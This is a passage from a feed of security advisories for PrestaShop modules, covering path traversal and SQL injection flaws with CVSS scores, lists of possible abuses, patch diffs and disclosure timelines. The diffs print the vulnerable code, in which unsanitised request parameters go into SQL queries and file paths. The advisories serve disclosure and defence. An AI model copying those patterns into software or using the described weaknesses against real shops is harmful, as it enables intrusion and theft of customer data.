  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Stealing secrets to unlock admin controllers based on ajax script</li>
  <li>Exfiltrate all modules with all versions to facilitate pentesting</li>
  <li>Stealing table_prefix to greatly facilitate SQL injections for kiddies who don’t know how to exploit DBMS design’s vulnerabilities or steal database access to login in exposed PHPMyAdmin / Adminer / etc.</li>
  <li>Bypass WAF / htaccess restrictions to read forbidden files (such as logs on predictable paths of banks’s modules inside /var/log/)</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>customfields</strong>.</li>
  <li>NEVER expose a PHPMyAdmin / Adminer / etc without, at least, a htpasswd</li>
  <li>Activate OWASP 930’s rules on your WAF (Web application firewall) and adjust it for your PrestaShop</li>
  <li>Activate OWASP 933’s rules against wrapper (including phar wrapper) <a href="https://github.com/coreruleset/coreruleset/blob/e36f27e1429a841e91996f4a521d40c996ec74eb/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf#L213">OWASP rules to filter “phar://”</a></li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-09-01</td>
      <td>Issue discovered during a code review by <a href="https://2dm.pl/">2DM</a> and <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2023-09-01</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-09-04</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2023-10-26</td>
      <td>Auhtor provide a patch which is not accepted</td>
    </tr>
    <tr>
      <td>2024-03-14</td>
      <td>Auhtor provide a another patch which reduced the scope</td>
    </tr>
    <tr>
      <td>2024-04-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-04-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.fmemodules.com/en/prestashop-modules/149-add-custom-field-to-product-page.html">Author product page</a></li>
  <li><a href="https://addons.prestashop.com/en/registration-ordering-process/19008-custom-checkout-fields-add-custom-fields-to-checkout.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-33274">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;2dm.pl&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Custom Checkout Fields, Add Custom Fields to Checkout” (customfields) up to version 2.2.7 from FME Modules for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.]]></summary></entry><entry><title type="html">[CVE-2024-33270] Exposure of Private Personal Information to an Unauthorized Actor in FME Modules - Customer File Upload-Attach File on Product,Cart pages module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/04/29/fileuploads.html" rel="alternate" type="text/html" title="[CVE-2024-33270] Exposure of Private Personal Information to an Unauthorized Actor in FME Modules - Customer File Upload-Attach File on Product,Cart pages module for PrestaShop" /><published>2024-04-29T00:00:00+00:00</published><updated>2024-04-29T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/04/29/fileuploads</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/04/29/fileuploads.html"><![CDATA[<p>In the module “Customer File Upload-Attach File on Product,Cart pages” (fileuploads) up to version 2.0.3 from FME Modules for PrestaShop, a guest can download personal information without restriction.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33270">CVE-2024-33270</a></li>
  <li><strong>Published at</strong>: 2024-04-29</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: fileuploads</li>
  <li><strong>Impacted release</strong>: &lt;= 2.0.3 (2.0.4 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: FME Modules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control, a guest can download all files uploaded by customers which could be national identity card / contents under NDA, etc.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-09-01</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-09-01</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-09-04</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-03-14</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-04-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-04-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.fmemodules.com/en/prestashop-modules/80-file-uploads.html">Author product page</a></li>
  <li><a href="https://addons.prestashop.com/en/additional-information-product-tab/21373-customer-file-upload-attach-file-on-productcart-pages.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-33270">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Customer File Upload-Attach File on Product,Cart pages” (fileuploads) up to version 2.0.3 from FME Modules for PrestaShop, a guest can download personal information without restriction.]]></summary></entry><entry><title type="html">[CVE-2024-33267] Improper neutralization of SQL parameter in Hero - Payment module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/04/29/hfheropayment.html" rel="alternate" type="text/html" title="[CVE-2024-33267] Improper neutralization of SQL parameter in Hero - Payment module for PrestaShop" /><published>2024-04-29T00:00:00+00:00</published><updated>2024-04-29T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/04/29/hfheropayment</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/04/29/hfheropayment.html"><![CDATA[<p>In the module “Hero - Payment” (hfheropayment) up to version 1.2.5 from Hero for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33267">CVE-2024-33267</a></li>
  <li><strong>Published at</strong>: 2024-04-29</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: hfheropayment</li>
  <li><strong>Impacted release</strong>: &lt;= 1.2.5 (1.2.6 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Hero</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">HfHeropaymentGatewayBackModuleFrontController::initContent()</code> has a sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit use a base64 payload so it will bypass some WAF.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-125">Patch from 1.2.5</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.2.5/modules/hfheropayment/controllers/front/gatewayback.php
</span><span class="gi">+++ XXXXX/modules/hfheropayment/controllers/front/gatewayback.php
</span>            $id = Db::getInstance()-&gt;getValue(
                "SELECT hf_payment_id FROM `" . _DB_PREFIX_ . "cart_hf_heropayment`
<span class="gd">-                    WHERE id='" . $insertId . "'"
</span><span class="gi">+                    WHERE id='" . (int) $insertId . "'"
</span>            );
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to delete this module <strong>hfheropayment</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-03-05</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2024-03-05</td>
      <td>Contact Author to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2024-03-05</td>
      <td>Author confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-03-14</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-04-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-04-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.heropay.eu/">Authro Product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-33267">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Hero - Payment” (hfheropayment) up to version 1.2.5 from Hero for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-45385] Improper Limitation of a Pathname to a Restricted Directory in ProQuality - Print Shipping Labels Pro module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/04/29/pqprintshippinglabels.html" rel="alternate" type="text/html" title="[CVE-2023-45385] Improper Limitation of a Pathname to a Restricted Directory in ProQuality - Print Shipping Labels Pro module for PrestaShop" /><published>2024-04-29T00:00:00+00:00</published><updated>2024-04-29T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/04/29/pqprintshippinglabels</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/04/29/pqprintshippinglabels.html"><![CDATA[<p>In the module “Print Shipping Labels Pro” (pqprintshippinglabels) up to version 4.15.0 from ProQuality for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45385">CVE-2023-45385</a></li>
  <li><strong>Published at</strong>: 2024-04-29</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: pqprintshippinglabels</li>
  <li><strong>Impacted release</strong>: &lt; 4.15.0 (4.15.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: ProQuality</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control and a lack of control in the path name construction, a guest can perform a path traversal to view all files on the information system.</p>

<p>WARNING : We are forced to tag it as a medium gravity due to the CWE type 22 but be warned that on our ecosystem, it must be considered critical since it unlocks hundreds admin’s ajax script of modules due to this : https://github.com/PrestaShop/PrestaShop/blob/6c05518b807d014ee8edb811041e3de232520c28/classes/Tools.php#L1247.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Stealing secrets to unlock admin controllers based on ajax script</li>
  <li>Exfiltrate all modules with all versions to facilitate pentesting</li>
  <li>Stealing table_prefix to greatly facilitate SQL injections for kiddies who don’t know how to exploit DBMS design’s vulnerabilities or steal database access to login in exposed PHPMyAdmin/Adminer/etc.</li>
  <li>Bypass WAF / htaccess restrictions to read forbidden files (such as logs on predictable paths of banks’s modules inside /var/log/)</li>
</ul>

<h2 id="patch-from-4120">Patch from 4.12.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.12.0/modules/pqprintshippinglabels/pdfs/shipping-labels.php
</span><span class="gi">+++ XXXXXX/modules/pqprintshippinglabels/pdfs/shipping-labels.php
</span>
-$filename = $_REQUEST['filename'];
<span class="gi">+$filename = basename($_REQUEST['filename']);
</span></code></pre></div></div>

<p>Be warned this fix is perfectible. See recommendations below.</p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>You should consider restricting the access of modules/pqprintshippinglabels/pdfs/ to a whitelist or delete the module</li>
  <li>NEVER expose a PHPMyAdmin / Adminer / etc without, at least, a htpasswd</li>
  <li>Activate OWASP 930’s rules on your WAF (Web application firewall) and adjust it for your PrestaShop</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-19</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-05-22</td>
      <td>PrestaShop Addons security Team confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-10-12</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-08</td>
      <td>Author provide a patch (confirmed on 2024-04-10)</td>
    </tr>
    <tr>
      <td>2024-04-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/preparation-shipping/16885-print-shipping-labels-pro-address-direct-print.html">Author download page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45385">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Print Shipping Labels Pro” (pqprintshippinglabels) up to version 4.15.0 from ProQuality for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.]]></summary></entry><entry><title type="html">[CVE-2024-33273] Improper neutralization of SQL parameter in ShipUp module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/04/29/shipup.html" rel="alternate" type="text/html" title="[CVE-2024-33273] Improper neutralization of SQL parameter in ShipUp module for PrestaShop" /><published>2024-04-29T00:00:00+00:00</published><updated>2024-04-29T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/04/29/shipup</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/04/29/shipup.html"><![CDATA[<p>In the module “ShipUp” (shipup) up to version 3.3.0 from ShipUp for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33273">CVE-2024-33273</a></li>
  <li><strong>Published at</strong>: 2024-04-29</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: shipup</li>
  <li><strong>Impacted release</strong>: &lt; 3.3.0 (3.3.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: ShipUp</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The function getShopId has sensitive a SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>Be informed that it only concerns Shops which never own more than one store.</p>

<p>Note : We marked that 3.3.0 fixed the vulnerability because it fixes the critical one, but you should apply the 3.5.0 which fix another high vulnerability with a CVSS score 3.1 of 7.1/10.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-310">Patch from 3.1.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 3.1.0/modules/shipup/v1/index.php
</span><span class="gi">+++ 3.5.0/modules/shipup/v1/index.php
</span><span class="err">...</span>
@@ -30,14 +30,14 @@ function getShopId()
         if (!isset($_GET['shop_id'])) {
             render(403, 'Multi store present but no store_id provided');
         } else {
<span class="gd">-            $query = $query." WHERE `id_shop` = '".$_GET['shop_id']."'";
</span><span class="gi">+            $query = $query." WHERE `id_shop` = '". (int) $_GET['shop_id']."'";
</span>         }
     }
     $shop_id = (int)($db-&gt;getValue($query));

     if ($shop_id == '') {
         if (isset($_GET['shop_id'])) {
<span class="gd">-            $msg = "Store shop_id ".$_GET['shop_id']." not found";
</span><span class="gi">+            $msg = "Store shop_id ".(int) $_GET['shop_id']." not found";
</span>         } else {
             $msg = 'Store not found';
         }
<span class="p">@@ -211,7 +211,7 @@</span> function select_limit_10($table, $param,
     $where_clause = "";
     if (isset($_GET[$param])) {
         if (isset($_GET['exact'])) {
<span class="gd">-            $where_clause = "WHERE `".$param."` = ".$db-&gt;escape($_GET[$param]);
</span><span class="gi">+            $where_clause = "WHERE `".$param."` = ".(int) $_GET[$param];
</span>         } else {
             $where_clause = "WHERE `".$param."` LIKE '%".$db-&gt;escape($_GET[$param])."%'";
         }
<span class="err">...</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>shipup</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-03-13</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2024-03-13</td>
      <td>Contact Author to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2024-03-14</td>
      <td>Author confirms version scope</td>
    </tr>
    <tr>
      <td>2024-04-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-04-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.shipup.co/fr">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-33273">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “ShipUp” (shipup) up to version 3.3.0 from ShipUp for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-33275] Improper neutralization of SQL parameter in Webbax - Super Newsletter module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/04/29/supernewsletter.html" rel="alternate" type="text/html" title="[CVE-2024-33275] Improper neutralization of SQL parameter in Webbax - Super Newsletter module for PrestaShop" /><published>2024-04-29T00:00:00+00:00</published><updated>2024-04-29T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/04/29/supernewsletter</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/04/29/supernewsletter.html"><![CDATA[<p>In the module “Super Newsletter” (supernewsletter) up to version 1.4.21 (DANGER : all versions) from Webbax for PrestaShop, due to a predictable token, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33275">CVE-2024-33275</a></li>
  <li><strong>Published at</strong>: 2024-04-29</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: supernewsletter</li>
  <li><strong>Impacted release</strong>: &lt;= 1.4.21 (DANGER : all versions and author discontinue support)</li>
  <li><strong>Product author</strong>: Webbax</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The script <code class="language-plaintext highlighter-rouge">product_search.php</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This module is obsolete and must be deleted since author discontinue support.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-1421">Patch from 1.4.21</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.4.21/modules/supernewsletter/ajax/product_search.php
</span><span class="gi">+++ XXXXXX/modules/supernewsletter/ajax/product_search.php
</span><span class="gd">-       ps.`id_shop` = '.pSQL($id_shop).' AND
-       pl.`id_shop` = '.pSQL($id_shop).' AND
-       pl.`id_lang` = '.pSQL($id_lang).'
</span><span class="gi">+       ps.`id_shop` = '.(int) $id_shop.' AND
+       pl.`id_shop` = '.(int) $id_shop.' AND
+       pl.`id_lang` = '.(int) $id_lang.'
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to delete the module since support is discontinue.</li>
  <li>You should consider restricting the access of /modules/supernewsletter/ajax/ to a whitelist</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-11-19</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-11-19</td>
      <td>Contact Author to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2024-04-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-04-29</td>
      <td>Publish this security advisory</td>
    </tr>
